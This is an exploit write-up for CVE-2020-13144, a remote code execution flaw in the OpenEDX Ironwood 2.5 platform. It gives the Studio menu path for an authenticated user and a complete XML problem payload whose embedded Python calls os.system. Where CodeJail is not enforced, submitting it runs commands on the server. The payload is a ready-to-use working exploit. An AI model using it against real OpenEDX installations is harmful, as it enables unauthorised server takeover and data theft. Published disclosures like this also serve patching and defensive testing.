# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-20
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://open.edx.org/
# Software Link: https://github.com/edx/edx-platform
# Version: Ironwood 2.5
# Tested on: Debian x64
# CVE : CVE-2020-13144
CVE ID: CVE-2020-13144
OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced
This is an authenticated vulnerability, so you need to register an account, go to /edx-studio
Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code
Once here we just need to edit the problem and introduce a payload such as:
<problem>
<script type="python">
def test_add(expect,ans):
import os
os.system("thecommandyouwanttoexecute")
</script>
<p>Problem text</p>
<customresponse cfn="test_add" expect="20">
<textline size="10" correct_answer="11" label="Integer #1"/><br/>
<textline size="10" correct_answer="9" label="Integer #2"/>
</customresponse>
<solution>
<div class="detailed-solution">
<p>Solution or Explanation Heading</p>
<p>Solution or explanation text</p>
</div>
</solution>
</problem>
And click Submit, and you will execute commands in the machine
